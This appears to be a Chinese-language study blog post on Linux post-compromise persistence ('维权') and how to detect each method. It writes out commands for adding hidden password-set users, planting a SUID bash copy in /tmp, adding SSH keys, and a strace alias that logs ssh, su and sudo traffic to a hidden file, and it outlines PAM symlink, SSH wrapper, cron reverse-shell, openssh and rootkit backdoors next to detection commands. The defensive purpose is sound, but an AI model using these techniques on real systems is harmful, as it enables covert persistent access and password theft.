0%

常见linux维权方法-权限维持与后门处置

常见linux维权方法-权限维持与后门处置

linux常见维权方法

添加用户

1
2
3
创建一个用户名guest密码123456的普通用户
useradd -p `openssl passwd -l -salt 'salt' 123456` guest
useradd -p方法,``是用来存放可执行的系统命令, 其中openssl passwd可以理解为一种加密方式
1
2
chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd // /etc/shadow用这个命令可以写入
1
2
echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

可疑用户排查技巧

1
2
查询特权用户(uid为0)
awk -F: '$3==0{print$1}' /etc/passwd

image-20240201005717935

1
2
查询可以远程登录的账号信息
awk '/\$1|\$6/{print$1}' /etc/shadow
1
2
3
除root账号外,其他账号是否存在sudo权限
如非管理需要,普通账号应该删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

SUID shell

suid shell 是一种可用于以拥有者权限运行的shell
配合普通用户权限使用

1
2
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

suid shell的排查技巧

1
2
3
4
在linux中查找suid设置的文件
find . -perm /4000
该命令的作用是查找当前目录及其子目录下所有设置了SUID权限位的文件,并将它们列出来。

具体来说,”.”表示当前目录,”-perm /4000”表示要查找文件的权限掩码中包含4000的文件。4000代表SUID位,当某个文件设置了SUID权限位时,该文件将以拥有该文件的所有者的身份运行,而不是以执行该文件的用户的身份运行。这种权限通常用于特定的系统任务,如密码更改等

1
2
在linux中查找使用sgid设置的文件
find . -perm /2000
1
2
取消s权限
chmod u-s /tmp/shell

ssh公私钥免密登陆

在客户端上生成一堆公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登陆时,ssh程序会发送私钥去和服务器上的公钥最匹配,匹配成功就可以登陆了。

客户端公钥生成
ssh-keygen -t rsa
然后将公钥追加到/root/.ssh/authorized_keys内即可

ssh公私钥免密登陆排查技巧

查看/root/.ssh/authorized_keys是否被修改过

软连接

实质上就是PAM认证是通过软连接的文件名/tmp/su在/etc/pam.d/目录下寻找对应的PAM配置文件(如/etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可ssh任意密码登陆,除了su中之外还有chsh、chfn同样可以

软连接排查技巧

image-20240201132243110

SSH wrapper

这个就理解为反弹shell就行。但这个是长连接的反弹shell,就是可以一直连接。

ssh wrapper排查技巧

ls -al /usr/sbin/sshd
cat /usr/sbin/sshd
可通过重装ssh服务来恢复

strace后门

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作

1
2
3
vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
source /root/.bashrc

strace后门排查

使用alias即可发现异常

image-20240201133643755

计划任务反弹shell

这个我就不说了吧,

排查计划任务

crontab -e

openssh后门

利用openssh后门,设置ssh后门密码及root密码记录位置,隐蔽性强,不易被发现

1
2
3
4
备份ssh配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old

mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

image-20240201153909636
image-20240201154000929
image-20240201154020299

openssh排查技巧

利用strace找出ssh后门

1
2
3
4
5
6
获取可疑ip
ps aux | grep sshd
跟踪sshd pid
strace -o aa -ff -p PID
查看记录密码打开文件
grep open sshd* | grep -v -e No -e null -e denied | grep WR

PAM后门

LINUX留后门–教程(六)—— PAM后门_pam_unix.so-CSDN博客

先不实操了,主要是刷课,了解大纲

rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口

安装完成后,直接 ssh用户@IP -P 端口

排查技巧

查看端口是否异常,RPM chake查看命令是否被替换

image-20240201155135768

这个也是一个大类的哈,我们后面会专门出

主流rootkit实现有下面三种方式:
库文件劫持
系统文件替换
LKM